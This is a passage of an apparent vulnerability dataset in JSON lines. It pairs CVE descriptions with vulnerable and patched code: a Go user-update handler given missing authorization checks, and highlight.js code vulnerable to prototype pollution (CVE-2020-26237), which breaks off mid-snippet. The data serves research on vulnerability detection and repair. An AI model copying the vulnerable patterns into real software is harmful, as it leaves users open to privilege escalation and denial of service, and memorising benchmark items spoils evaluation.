\"badrequest\"))\n\t\treturn\n\t}\n\tlogger.Log(1, username, \"was updated\")\n\tjson.NewEncoder(w).Encode(user)\n}"}], "vul_patch": "--- a/controllers/user.go\n+++ b/controllers/user.go\n@@ -2,7 +2,18 @@\n \tw.Header().Set(\"Content-Type\", \"application/json\")\n \tvar params = mux.Vars(r)\n \t// start here\n+\tjwtUser, _, isadmin, err := logic.VerifyJWT(r.Header.Get(\"Authorization\"))\n+\tif err != nil {\n+\t\tlogger.Log(0, \"verifyJWT error\", err.Error())\n+\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"internal\"))\n+\t\treturn\n+\t}\n \tusername := params[\"username\"]\n+\tif username != jwtUser && !isadmin {\n+\t\tlogger.Log(0, \"non-admin user\", jwtUser, \"attempted to update user\", username)\n+\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(errors.New(\"not authorizied\"), \"unauthorized\"))\n+\t\treturn\n+\t}\n \tuser, err := logic.GetUser(username)\n \tif err != nil {\n \t\tlogger.Log(0, username,\n@@ -25,6 +36,11 @@\n \t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"badrequest\"))\n \t\treturn\n \t}\n+\tif userchange.IsAdmin && !isadmin {\n+\t\tlogger.Log(0, \"non-admin user\", jwtUser, \"attempted get admin privilages\")\n+\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(errors.New(\"not authorizied\"), \"unauthorized\"))\n+\t\treturn\n+\t}\n \tuserchange.Networks = nil\n \tuser, err = logic.UpdateUser(&userchange, user)\n \tif err != nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26237", "cve_description": "Highlight.js is a syntax highlighter written in JavaScript. Highlight.js versions before 9.18.2 and 10.1.2 are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable. The pollution should just be harmless data but this can cause problems for applications not expecting these properties to exist and can result in strange behavior or application crashes, i.e. a potential DOS vector. If your website or application does not render user provided data it should be unaffected. Versions 9.18.2 and 10.1.2 and newer include fixes for this vulnerability. If you are using version 7 or 8 you are encouraged to upgrade to a newer release.", "cwe_info": {"CWE-471": {"name": "Modification of Assumed-Immutable Data (MAID)", "description": "The product does not properly protect an assumed-immutable element from being modified by an attacker."}}, "repo": "https://github.com/highlightjs/highlight.js", "patch_url": ["https://github.com/highlightjs/highlight.js/commit/7241013ae011a585983e176ddc0489a7a52f6bb0"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_76_1", "commit": "93fd0d73", "file_path": "src/highlight.js", "start_line": 25, "end_line": 869, "snippet": "const HLJS = function(hljs) {\n  // Convenience variables for build-in objects\n  /** @type {unknown[]} */\n  var ArrayProto = [];\n\n  // Global internal variables used within the highlight.js library.\n  /** @type {Record<string, Language>} */\n  var languages = {};\n  /** @type {Record<string, string>} */\n  var aliases = {};\n  /** @type {HLJSPlugin[]} */\n  var plugins = [];\n\n  // safe/production mode - swallows more errors, tries to keep running\n  // even if a single syntax or parse hits a fatal error\n  var SAFE_MODE = true;\n  var fixMarkupRe = /(^(<[^>]+>|\\t|)+|\\n)/gm;\n  var LANGUAGE_NOT_FOUND = \"Could not find the language '{}', did you forget to load/include a language module?\";\n  /** @type {Language} */\n  const PLAINTEXT_LANGUAGE = { disableAutodetect: true, name: 'Plain text', contains: [] };\n\n  // Global options used when within external APIs. This is modified when\n  // calling the `hljs.configure` function.\n  /** @type HLJSOptions */\n  var options = {\n    noHighlightRe: /^(no-?highlight)$/i,\n    languageDetectRe: /\\blang(?:uage)?-([\\w-]+)\\b/i,\n    classPrefix: 'hljs-',\n    tabReplace: null,\n    useBR: false,\n    languages: null,\n    // beta configuration options, subject to change, welcome to discuss\n    // https://github.com/highlightjs/highlight.js/issues/1086\n    __emitter: TokenTreeEmitter\n  };\n\n  /* Utility functions */\n\n  /**\n   * Tests a language name to see if highlighting should be skipped\n   * @param {string} languageName\n   */\n  function shouldNotHighlight(languageName) {\n    return options.noHighlightRe.test(languageName);\n  }\n\n  /**\n   * @param {HighlightedHTMLElement} block - the HTML element to determine language for\n   */\n  function blockLanguage(block) {\n    var classes = block.className + ' ';\n\n    classes += block.parentNode ? block.parentNode.className : '';\n\n    // language-* takes precedence over non-prefixed class names.\n    const match = options.languageDetectRe.exec(classes);\n    if (match) {\n      var language = getLanguage(match[1]);\n      if (!language) {\n        console.warn(LANGUAGE_NOT_FOUND.replace(\"{}\", match[1]));\n        console.warn(\"Falling back to no-highlight mode for this block.\", block);\n      }\n      return language ? match[1] : 'no-highlight';\n    }\n\n    return classes\n      .split(/\\s+/)\n      .find((_class) => shouldNotHighlight(_class) || getLanguage(_class));\n  }\n\n  /**\n   * Core highlighting function.\n   *\n   * @param {string} languageName - the language to use for highlighting\n   * @param {string} code - the code to highlight\n   * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n   * @param {Mode} [continuation] - current continuation mode, if any\n   *\n   * @returns {HighlightResult} Result - an object that represents the result\n   * @property {string} language - the language name\n   * @property {number} relevance - the relevance score\n   * @property {string} value - the highlighted HTML code\n   * @property {string} code - the original raw code\n   * @property {Mode} top - top of the current mode stack\n   * @property {boolean} illegal - indicates whether any illegal matches were found\n  */\n  function highlight(languageName, code, ignoreIllegals, continuation) {\n    /** @type {{ code: string, language: string, result?: any }} */\n    var context = {\n      code,\n      language: languageName\n    };\n    // the plugin can change the desired language or the code to be highlighted\n    // just be changing the object it was passed\n    fire(\"before:highlight\", context);\n\n    // a before plugin can usurp the result completely by providing it's own\n    // in which case we don't even need to call highlight\n    var result = context.result ?\n      context.result :\n      _highlight(context.language, context.code, ignoreIllegals, continuation);\n\n    result.code = context.code;\n    // the plugin can change anything in result to suite it\n    fire(\"after:highlight\", result);\n\n    return result;\n  }\n\n  /**\n   * private highlight that's used internally and does not fire callbacks\n   *\n   * @param {string} languageName - the language to use for highlighting\n   * @param {string} code - the code to highlight\n   * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n   * @param {Mode} [continuation] - current continuation mode, if any\n  */\n  function _highlight(languageName, code, ignoreIllegals, continuation) {\n    var codeToHighlight = code;\n\n    /**\n     * Return keyword data if a match is a keyword\n     * @param {CompiledMode} mode - current mode\n     * @param {RegExpMatchArray} match - regexp match data\n     * @returns {KeywordData | false}\n     */\n    function keywordData(mode, match) {\n      var matchText = language.case_insensitive ? match[0].toLowerCase() : match[0];\n      return Object.prototype.hasOwnProperty.call(mode.keywords, matchText) && mode.keywords[matchText];\n    }\n\n    function processKeywords() {\n      if (!top.keywords) {\n        emitter.addText(mode_buffer);\n        return;\n      }\n\n      let last_index = 0;\n      top.keywordPatternRe.lastIndex = 0;\n      let match = top.keywordPatternRe.exec(mode_buffer);\n      let buf = \"\";\n\n      while (match) {\n        buf += mode_buffer.substring(last_index, match.index);\n        const data = keywordData(top, match);\n        if (data) {\n          const [kind, keywordRelevance] = data;\n          emitter.addText(buf);\n          buf = \"\";\n\n          relevance += keywordRelevance;\n          emitter.addKeyword(match[0], kind);\n        } else {\n          buf += match[0];\n        }\n        last_index = top.keywordPatternRe.lastIndex;\n        match = top.keywordPatternRe.exec(mode_buffer);\n      }\n      buf += mode_buffer.substr(last_index);\n      emitter.addText(buf);\n    }\n\n    function processSubLanguage() {\n      if (mode_buffer === \"\") return;\n      /** @type HighlightResult */\n      var result = null;\n\n      if (typeof top.subLanguage === 'string') {\n        if (!languages[top.subLanguage]) {\n          emitter.addText(mode_buffer);\n          return;\n        }\n        result = _highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]);\n        continuations[top.subLanguage] = result.top;\n      } else {\n        result = highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : null);\n      }\n\n      // Counting embedded language score towards the host language may be disabled\n      // with zeroing the containing mode relevance. Use case in point is Markdown that\n      // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n      // score.\n      if (top.relevance > 0) {\n        relevance += result.relevance;\n      }\n      emitter.addSublanguage(result.emitter, result.language);\n    }\n\n    function processBuffer() {\n      if (top.subLanguage != null) {\n        processSubLanguage();\n      } else {\n        processKeywords();\n      }\n      mode_buffer = '';\n    }\n\n    /**\n     * @param {Mode} mode - new mode to start\n     */\n    function startNewMode(mode) {\n      if (mode.className) {\n        emitter.openNode(mode.className);\n      }\n      top = Object.create(mode, { parent: { value: top } });\n      return top;\n    }\n\n    /**\n     * @param {CompiledMode } mode - the mode to potentially end\n     * @param {RegExpMatchArray} match - the latest match\n     * @param {string} matchPlusRemainder - match plus remainder of content\n     * @returns {CompiledMode | void} - the next mode, or if void continue on in current mode\n     */\n    function endOfMode(mode, match, matchPlusRemainder) {\n      let matched = regex.startsWith(mode.endRe, matchPlusRemainder);\n\n      if (matched) {\n        if (mode[\"on:end\"]) {\n          const resp = new Response(mode);\n          mode[\"on:end\"](match, resp);\n          if (resp.ignore) matched = false;\n        }\n\n        if (matched) {\n          while (mode.endsParent && mode.parent) {\n            mode = mode.parent;\n          }\n          return mode;\n        }\n      }\n      // even if on:end fires an `ignore` it's still possible\n      // that we might trigger the end node because of a parent mode\n      if (mode.endsWithParent) {\n        return endOfMode(mode.parent, match, matchPlusRemainder);\n      }\n    }\n\n    /**\n     * Handle matching but then ignoring a sequence of text\n     *\n     * @param {string} lexeme - string containing full match text\n     */\n    function doIgnore(lexeme) {\n      if (top.matcher.regexIndex === 0) {\n        // no more regexs to potentially match here, so we move the cursor forward one\n        // space\n        mode_buffer += lexeme[0];\n        return 1;\n      } else {\n        // no need to move the cursor, we still have additional regexes to try and\n        // match at this very spot\n        continueScanAtSamePosition = true;\n        return 0;\n      }\n    }\n\n    /**\n     * Handle the start of a new potential mode match\n     *\n     * @param {EnhancedMatch} match - the current match\n     * @returns {number} how far to advance the parse cursor\n     */\n    function doBeginMatch(match) {\n      var lexeme = match[0];\n      var new_mode = match.rule;\n\n      const resp = new Response(new_mode);\n      // first internal before callbacks, then the public ones\n      const beforeCallbacks = [new_mode.__beforeBegin, new_mode[\"on:begin\"]];\n      for (const cb of beforeCallbacks) {\n        if (!cb) continue;\n        cb(match, resp);\n        if (resp.ignore) return doIgnore(lexeme);\n      }\n\n      if (new_mode && new_mode.endSameAsBegin) {\n        new_mode.endRe = regex.escape(lexeme);\n      }\n\n      if (new_mode.skip) {\n        mode_buffer += lexeme;\n      } else {\n        if (new_mode.excludeBegin) {\n          mode_buffer += lexeme;\n        }\n        processBuffer();\n        if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n          mode_buffer = lexeme;\n        }\n      }\n      startNewMode(new_mode);\n      // if (mode[\"after:begin\"]) {\n      //   let resp = new Response(mode);\n      //   mode[\"after:begin\"](match, resp);\n      // }\n      return new_mode.returnBegin ? 0 : lexeme.length;\n    }\n\n    /**\n     * Handle the potential end of mode\n     *\n     * @param {RegExpMatchArray} match - the current match\n     */\n    function doEndMatch(match) {\n      var lexeme = match[0];\n      var matchPlusRemainder = codeToHighlight.substr(match.index);\n\n      var end_mode = endOfMode(top, match, matchPlusRemainder);\n      if (!end_mode) { return NO_MATCH; }\n\n      var origin = top;\n      if (origin.skip) {\n        mode_buffer += lexeme;\n      } else {\n        if (!(origin.returnEnd || origin.excludeEnd)) {\n          mode_buffer += lexeme;\n        }\n        processBuffer();\n        if (origin.excludeEnd) {\n          mode_buffer = lexeme;\n        }\n      }\n      do {\n        if (top.className) {\n          emitter.closeNode();\n        }\n        if (!top.skip && !top.subLanguage) {\n          relevance += top.relevance;\n        }\n        top = top.parent;\n      } while (top !== end_mode.parent);\n      if (end_mode.starts) {\n        if (end_mode.endSameAsBegin) {\n          end_mode.starts.endRe = end_mode.endRe;\n        }\n        startNewMode(end_mode.starts);\n      }\n      return origin.returnEnd ? 0 : lexeme.length;\n    }\n\n    function processContinuations() {\n      var list = [];\n      for (var current = top; current !== language; current = current.parent) {\n        if (current.className) {\n          list.unshift(current.className);\n        }\n      }\n      list.forEach(item => emitter.openNode(item));\n    }\n\n    /** @type {{type?: MatchType, index?: number, rule?: Mode}}} */\n    var lastMatch = {};\n\n    /**\n     *  Process an individual match\n     *\n     * @param {string} textBeforeMatch - text preceeding the match (since the last match)\n     * @param {EnhancedMatch} [match] - the match itself\n     */\n    function processLexeme(textBeforeMatch, match) {\n      var lexeme = match && match[0];\n\n      // add non-matched text to the current mode buffer\n      mode_buffer += textBeforeMatch;\n\n      if (lexeme == null) {\n        processBuffer();\n        return 0;\n      }\n\n      // we've found a 0 width match and we're stuck, so we need to advance\n      // this happens when we have badly behaved rules that have optional matchers to the degree that\n      // sometimes they can end up matching nothing at all\n      // Ref: https://github.com/highlightjs/highlight.js/issues/2140\n      if (lastMatch.type === \"begin\" && match.type === \"end\" && lastMatch.index === match.index && lexeme === \"\") {\n        // spit the \"skipped\" character that our regex choked on back into the output sequence\n        mode_buffer += codeToHighlight.slice(match.index, match.index + 1);\n        if (!SAFE_MODE) {\n          /** @type {AnnotatedError} */\n          const err = new Error('0 width match regex');\n          err.languageName = languageName;\n          err.badRule = lastMatch.rule;\n          throw err;\n        }\n        return 1;\n      }\n      lastMatch = match;\n\n      if (match.type === \"begin\") {\n        return doBeginMatch(match);\n      } else if (match.type === \"illegal\" && !ignoreIllegals) {\n        // illegal match, we do not continue processing\n        /** @type {AnnotatedError} */\n        const err = new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n        err.mode = top;\n        throw err;\n      } else if (match.type === \"end\") {\n        var processed = doEndMatch(match);\n        if (processed !== NO_MATCH) {\n          return processed;\n        }\n      }\n\n      // edge case for when illegal matches $ (end of line) which is technically\n      // a 0 width match but not a begin/end match so it's not caught by the\n      // first handler (when ignoreIllegals is true)\n      if (match.type === \"illegal\" && lexeme === \"\") {\n        // advance so we aren't stuck in an infinite loop\n        return 1;\n      }\n\n      // infinite loops are BAD, this is a last ditch catch all. if we have a\n      // decent number of iterations yet our index (cursor position in our\n      // parsing) still 3x behind our index then something is very wrong\n      // so we bail\n      if (iterations > 100000 && iterations > match.index * 3) {\n        const err = new Error('potential infinite loop, way more iterations than matches');\n        throw err;\n      }\n\n      /*\n      Why might be find ourselves here?  Only one occasion now.  An end match that was\n      triggered but could not be completed.  When might this happen?  When an `endSameasBegin`\n      rule sets the end rule to a specific match.  Since the overall mode termination rule that's\n      being used to scan the text isn't recompiled that means that any match that LOOKS like\n      the end (but is not, because it is not an exact match to the beginning) will\n      end up here.  A definite end match, but when `doEndMatch` tries to \"reapply\"\n      the end rule and fails to match, we wind up here, and just silently ignore the end.\n\n      This causes no real harm other than stopping a few times too many.\n      */\n\n      mode_buffer += lexeme;\n      return lexeme.length;\n    }\n\n    var language = getLanguage(languageName);\n    if (!language) {\n      console.error(LANGUAGE_NOT_FOUND.replace(\"{}\", languageName));\n      throw new Error('Unknown language: \"' + languageName + '\"');\n    }\n\n    var md = compileLanguage(language);\n    var result = '';\n    /** @type {CompiledMode} */\n    var top = continuation || md;\n    /** @type Record<string,Mode> */\n    var continuations = {}; // keep continuations for sub-languages\n    var emitter = new options.__emitter(options);\n    processContinuations();\n    var mode_buffer = '';\n    var relevance = 0;\n    var index = 0;\n    var iterations = 0;\n    var continueScanAtSamePosition = false;\n\n    try {\n      top.matcher.considerAll();\n\n      for (;;) {\n        iterations++;\n        if (continueScanAtSamePosition) {\n          // only regexes not matched previously will now be\n          // considered for a potential match\n          continueScanAtSamePosition = false;\n        } else {\n          top.matcher.lastIndex = index;\n          top.matcher.considerAll();\n        }\n        const match = top.matcher.exec(codeToHighlight);\n        // console.log(\"match\", match[0], match.rule && match.rule.begin)\n        if (!match) break;\n\n        const beforeMatch = codeToHighlight.substring(index, match.index);\n        const processedCount = processLexeme(beforeMatch, match);\n        index = match.index + processedCount;\n      }\n      processLexeme(codeToHighlight.substr(index));\n      emitter.closeAllNodes();\n      emitter.finalize();\n      result = emitter.toHTML();\n\n      return {\n        relevance: relevance,\n        value: result,\n        language: languageName,\n        illegal: false,\n        emitter: emitter,\n        top: top\n      };\n    } catch (err) {\n      if (err.message && err.message.includes('Illegal')) {\n        return {\n          illegal: true,\n          illegalBy: {\n            msg: err.message,\n            context: codeToHighlight.slice(index - 100, index + 100),\n            mode: err.mode\n          },\n          sofar: result,\n          relevance: 0,\n          value: escape(codeToHighlight),\n          emitter: emitter\n        };\n      } else if (SAFE_MODE) {\n        return {\n          illegal: false,\n          relevance: 0,\n          value: escape(codeToHighlight),\n          emitter: emitter,\n          language: languageName,\n          top: top,\n          errorRaised: err\n        };\n      } else {\n        throw err;\n      }\n    }\n  }\n\n  /**\n   * returns a valid highlight result, without actually doing any actual work,\n   * auto highlight starts with this and it's possible for small snippets that\n   * auto-detection may not find a better match\n   * @param {string} code\n   * @returns {HighlightResult}\n   */\n  function justTextHighlightResult(code) {\n    const result = {\n      relevance: 0,\n      emitter: new options.__emitter(options),\n      value: escape(code),\n      illegal: false,\n      top: PLAINTEXT_LANGUAGE\n    };\n    result.emitter.addText(code);\n    return result;\n  }\n\n  /**\n  Highlighting with language detection. Accepts a string with the code to\n  highlight. Returns an object with the following properties:\n\n  - language (detected language)\n  - relevance (int)\n  - value (an HTML string with highlighting markup)\n  - second_best (object with the same structure for second-best heuristically\n    detected language, may be absent)\n\n    @param {string} code\n    @param {Array<string>} [languageSubset]\n    @returns {AutoHighlightResult}\n  */\n  function highlightAuto(code, languageSubset) {\n    languageSubset = languageSubset || options.languages || Object.keys(languages);\n    var result = justTextHighlightResult(code);\n    var secondBest = result;\n    languageSubset.filter(getLanguage).filter(autoDetection).forEach(function(name) {\n      var current = _highlight(name, code, false);\n      current.language = name;\n      if (current.relevance > secondBest.relevance) {\n        secondBest = current;\n      }\n      if (current.relevance > result.relevance) {\n        secondBest = result;\n        result = current;\n      }\n    });\n    if (secondBest.language) {\n      // second_best (with underscore) is the expected API\n      result.second_best = secondBest;\n    }\n    return result;\n  }\n\n  /**\n  Post-processing of the highlighted markup:\n\n  - replace TABs with something more useful\n  - replace real line-breaks with '<br>' for non-pre containers\n\n    @param {string} html\n    @returns {string}\n  */\n  function fixMarkup(html) {\n    if (!(options.tabReplace || options.useBR)) {\n      return html;\n    }\n\n    return html.replace(fixMarkupRe, match => {\n      if (match === '\\n') {\n        return options.useBR ? '<br>' : match;\n      } else if (options.tabReplace) {\n        return match.replace(/\\t/g, options.tabReplace);\n      }\n      return match;\n    });\n  }\n\n  /**\n   * Builds new class name for block given the language name\n   *\n   * @param {string} prevClassName\n   * @param {string} [currentLang]\n   * @param {string} [resultLang]\n   */\n  function buildClassName(prevClassName, currentLang, resultLang) {\n    var language = currentLang ? aliases[currentLang] : resultLang;\n    var result = [prevClassName.trim()];\n\n    if (!prevClassName.match(/\\bhljs\\b/)) {\n      result.push('hljs');\n    }\n\n    if (!prevClassName.includes(language)) {\n      result.push(language);\n    }\n\n    return result.join(' ').trim();\n  }\n\n  /**\n   * Applies highlighting to a DOM node containing code. Accepts a DOM node and\n   * two optional parameters for fixMarkup.\n   *\n   * @param {HighlightedHTMLElement} element - the HTML element to highlight\n  */\n  function highlightBlock(element) {\n    /** @type HTMLElement */\n    let node = null;\n    const language = blockLanguage(element);\n\n    if (shouldNotHighlight(language)) return;\n\n    fire(\"before:highlightBlock\",\n      { block: element, language: language });\n\n    if (options.useBR) {\n      node = document.createElement('div');\n      node.innerHTML = element.innerHTML.replace(/\\n/g, '').replace(/<br[ /]*>/g, '\\n');\n    } else {\n      node = element;\n    }\n    const text = node.textContent;\n    const result = language ? highlight(language, text, true) : highlightAuto(text);\n\n    const originalStream = nodeStream(node);\n    if (originalStream.length) {\n      const resultNode = document.createElement('div');\n      resultNode.innerHTML = result.value;\n      result.value = mergeStreams(originalStream, nodeStream(resultNode), text);\n    }\n    result.value = fixMarkup(result.value);\n\n    fire(\"after:highlightBlock\", { block: element, result: result });\n\n    element.innerHTML = result.value;\n    element.className = buildClassName(element.className, language, result.language);\n    element.result = {\n      language: result.language,\n      // TODO: remove with version 11.0\n      re: result.relevance,\n      relavance: result.relevance\n    };\n    if (result.second_best) {\n      element.second_best = {\n        language: result.second_best.language,\n        // TODO: remove with version 11.0\n        re: result.second_best.relevance,\n        relavance: result.second_best.relevance\n      };\n    }\n  }\n\n  /**\n   * Updates highlight.js global options with the passed options\n   *\n   * @param {{}} userOptions\n   */\n  function configure(userOptions) {\n    options = inherit(options, userOptions);\n  }\n\n  /**\n   * Highlights to all <pre><code> blocks on a page\n   *\n   * @type {Function & {called?: boolean}}\n   */\n  const initHighlighting = () => {\n    if (initHighlighting.called) return;\n    initHighlighting.called = true;\n\n    var blocks = document.querySelectorAll('pre code');\n    ArrayProto.forEach.call(blocks, highlightBlock);\n  };\n\n  // Higlights all when DOMContentLoaded fires\n  function initHighlightingOnLoad() {\n    // @ts-ignore\n    window.addEventListener('DOMContentLoaded', initHighlighting, false);\n  }\n\n  /**\n   * Register a language grammar module\n   *\n   * @param {string} languageName\n   * @param {LanguageFn} languageDefinition\n   */\n  function registerLanguage(languageName, languageDefinition) {\n    var lang = null;\n    try {\n      lang = languageDefinition(hljs);\n    } catch (error) {\n      console.error(\"Language definition for '{}' could not be registered.\".replace(\"{}\", languageName));\n      // hard or soft error\n      if (!SAFE_MODE) { throw error; } else { console.error(error); }\n      // languages that have serious errors are replaced with essentially a\n      // \"plaintext\" stand-in so that the code blocks will still get normal\n      // css classes applied to them - and one bad language won't break the\n      // entire highlighter\n      lang = PLAINTEXT_LANGUAGE;\n    }\n    // give it a temporary name if it doesn't have one in the meta-data\n    if (!lang.name) lang.name = languageName;\n    languages[languageName] = lang;\n    lang.rawDefinition = languageDefinition.bind(null, hljs);\n\n    if (lang.aliases) {\n      registerAliases(lang.aliases, { languageName });\n    }\n  }\n\n  /**\n   * @returns {string[]} List of language internal names\n   */\n  function listLanguages() {\n    return Object.keys(languages);\n  }\n\n  /**\n    intended usage: When one language truly requires another\n\n    Unlike `getLanguage`, this will throw when the requested language\n    is not available.\n\n    @param {string} name - name of the language to fetch/require\n    @returns {Language | never}\n  */\n  function requireLanguage(name) {\n    var lang = getLanguage(name);\n    if (lang) { return lang; }\n\n    var err = new Error('The \\'{}\\' language is required, but not loaded.'.replace('{}', name));\n    throw err;\n  }\n\n  /**\n   * @param {string} name - name of the language to retrieve\n   * @returns {Language | undefined}\n   */\n  function getLanguage(name) {\n    name = (name || '').toLowerCase();\n    return languages[name] || languages[aliases[name]];\n  }\n\n  /**\n   *\n   * @param {string|string[]} aliasList - single alias or list of aliases\n   * @param {{languageName: string}} opts\n   */\n  function registerAliases(aliasList, { languageName }) {\n    if (typeof aliasList === 'string') {\n      aliasList = [aliasList];\n    }\n    aliasList.forEach(alias => { aliases[alias] = languageName; });\n  }\n\n  /**\n   * Determines if a given language has auto-detection enabled\n   * @param {string} name - name of the language\n   */\n  function autoDetection(name) {\n    var lang = getLanguage(name);\n    return lang && !lang.disableAutodetect;\n  }\n\n  /**\n   * @param {HLJSPlugin} plugin\n   */\n  function addPlugin(plugin) {\n    plugins.push(plugin);\n  }\n\n  /**\n   *\n   * @param {PluginEvent} event\n   * @param {any} args\n   */\n  function fire(event, args) {\n    var cb = event;\n    plugins.forEach(function(plugin) {\n      if (plugin[cb]) {\n        plugin[cb](args);\n      }\n    });\n  }\n\n  /* Interface definition */\n\n  Object.assign(hljs, {\n    highlight,\n    highlightAuto,\n    fixMarkup,\n    highlightBlock,\n    configure,\n    initHighlighting,\n    initHighlightingOnLoad,\n    registerLanguage,\n    listLanguages,\n    getLanguage,\n    registerAliases,\n    requireLanguage,\n    autoDetection,\n    inherit,\n    addPlugin\n  });\n\n  hljs.debugMode = function() { SAFE_MODE = false; };\n  hljs.safeMode = function() { SAFE_MODE = true; };\n  hljs.versionString = packageJSON.version;\n\n  for (const key in MODES) {\n    // @ts-ignore\n    if (typeof MODES[key] === \"object\") {\n      // @ts-ignore\n      deepFreeze(MODES[key]);\n    }\n  }\n\n  // merge all the modes/regexs into our main object\n  Object.assign(hljs, MODES);\n\n  return hljs;\n};"}], "fix_func": [{"id": "fix_js_76_1", "commit": "7241013ae011a585983e176ddc0489a7a52f6bb0", "file_path": "src/highlight.js", "start_line": 25, "end_line": 869, "snippet": "const HLJS = function(hljs) {\n  // Convenience variables for build-in objects\n  /** @type {unknown[]} */\n  var ArrayProto = [];\n\n  // Global internal variables used within the highlight.js library.\n  /** @type {Record<string, Language>} */\n  var languages = Object.create(null);\n  /** @type {Record<string, string>} */\n  var aliases = Object.create(null);\n  /** @type {HLJSPlugin[]} */\n  var plugins = [];\n\n  // safe/production mode - swallows more errors, tries to keep running\n  // even if a single syntax or parse hits a fatal error\n  var SAFE_MODE = true;\n  var fixMarkupRe = /(^(<[^>]+>|\\t|)+|\\n)/gm;\n  var LANGUAGE_NOT_FOUND = \"Could not find the language '{}', did you forget to load/include a language module?\";\n  /** @type {Language} */\n  const PLAINTEXT_LANGUAGE = { disableAutodetect: true, name: 'Plain text', contains: [] };\n\n  // Global options used when within external APIs. This is modified when\n  // calling the `hljs.configure` function.\n  /** @type HLJSOptions */\n  var options = {\n    noHighlightRe: /^(no-?highlight)$/i,\n    languageDetectRe: /\\blang(?:uage)?-([\\w-]+)\\b/i,\n    classPrefix: 'hljs-',\n    tabReplace: null,\n    useBR: false,\n    languages: null,\n    // beta configuration options, subject to change, welcome to discuss\n    // https://github.com/highlightjs/highlight.js/issues/1086\n    __emitter: TokenTreeEmitter\n  };\n\n  /* Utility functions */\n\n  /**\n   * Tests a language name to see if highlighting should be skipped\n   * @param {string} languageName\n   */\n  function shouldNotHighlight(languageName) {\n    return options.noHighlightRe.test(languageName);\n  }\n\n  /**\n   * @param {HighlightedHTMLElement} block - the HTML element to determine language for\n   */\n  function blockLanguage(block) {\n    var classes = block.className + ' ';\n\n    classes += block.parentNode ? block.parentNode.className : '';\n\n    // language-* takes precedence over non-prefixed class names.\n    const match = options.languageDetectRe.exec(classes);\n    if (match) {\n      var language = getLanguage(match[1]);\n      if (!language) {\n        console.warn(LANGUAGE_NOT_FOUND.replace(\"{}\", match[1]));\n        console.warn(\"Falling back to no-highlight mode for this block.\", block);\n      }\n      return language ? match[1] : 'no-highlight';\n    }\n\n    return classes\n      .split(/\\s+/)\n      .find((_class) => shouldNotHighlight(_class) || getLanguage(_class));\n  }\n\n  /**\n   * Core highlighting function.\n   *\n   * @param {string} languageName - the language to use for highlighting\n   * @param {string} code - the code to highlight\n   * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n   * @param {Mode} [continuation] - current continuation mode, if any\n   *\n   * @returns {HighlightResult} Result - an object that represents the result\n   * @property {string} language - the language name\n   * @property {number} relevance - the relevance score\n   * @property {string} value - the highlighted HTML code\n   * @property {string} code - the original raw code\n   * @property {Mode} top - top of the current mode stack\n   * @property {boolean} illegal - indicates whether any illegal matches were found\n  */\n  function highlight(languageName, code, ignoreIllegals, continuation) {\n    /** @type {{ code: string, language: string, result?: any }} */\n    var context = {\n      code,\n      language: languageName\n    };\n    // the plugin can change the desired language or the code to be highlighted\n    // just be changing the object it was passed\n    fire(\"before:highlight\", context);\n\n    // a before plugin can usurp the result completely by providing it's own\n    // in which case we don't even need to call highlight\n    var result = context.result ?\n      context.result :\n      _highlight(context.language, context.code, ignoreIllegals, continuation);\n\n    result.code = context.code;\n    // the plugin can change anything in result to suite it\n    fire(\"after:highlight\", result);\n\n    return result;\n  }\n\n  /**\n   * private highlight that's used internally and does not fire callbacks\n   *\n   * @param {string} languageName - the language to use for highlighting\n   * @param {string} code - the code to highlight\n   * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n   * @param {Mode} [continuation] - current continuation mode, if any\n  */\n  function _highlight(languageName, code, ignoreIllegals, continuation) {\n    var codeToHighlight = code;\n\n    /**\n     * Return keyword data if a match is a keyword\n     * @param {CompiledMode} mode - current mode\n     * @param {RegExpMatchArray} match - regexp match data\n     * @returns {KeywordData | false}\n     */\n    function keywordData(mode, match) {\n      var matchText = language.case_insensitive ? match[0].toLowerCase() : match[0];\n      return Object.prototype.hasOwnProperty.call(mode.keywords, matchText) && mode.keywords[matchText];\n    }\n\n    function processKeywords() {\n      if (!top.keywords) {\n        emitter.addText(mode_buffer);\n        return;\n      }\n\n      let last_index = 0;\n      top.keywordPatternRe.lastIndex = 0;\n      let match = top.keywordPatternRe.exec(mode_buffer);\n      let buf = \"\";\n\n      while (match) {\n        buf += mode_buffer.substring(last_index, match.index);\n        const data = keywordData(top, match);\n        if (data) {\n          const [kind, keywordRelevance] = data;\n          emitter.addText(buf);\n          buf = \"\";\n\n          relevance += keywordRelevance;\n          emitter.addKeyword(match[0], kind);\n        } else {\n          buf += match[0];\n        }\n        last_index = top.keywordPatternRe.lastIndex;\n        match = top.keywordPatternRe.exec(mode_buffer);\n      }\n      buf += mode_buffer.substr(last_index);\n      emitter.addText(buf);\n    }\n\n    function processSubLanguage() {\n      if (mode_buffer === \"\") return;\n      /** @type HighlightResult */\n      var result = null;\n\n      if (typeof top.subLanguage === 'string') {\n        if (!languages[top.subLanguage]) {\n          emitter.addText(mode_buffer);\n          return;\n        }\n        result = _highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]);\n        continuations[top.subLanguage] = result.top;\n      } else {\n        result = highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : null);\n      }\n\n      // Counting embedded language score towards the host language may be disabled\n      // with zeroing the containing mode relevance. Use case in point is Markdown that\n      // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n      // score.\n      if (top.relevance > 0) {\n        relevance += result.relevance;\n      }\n      emitter.addSublanguage(result.emitter, 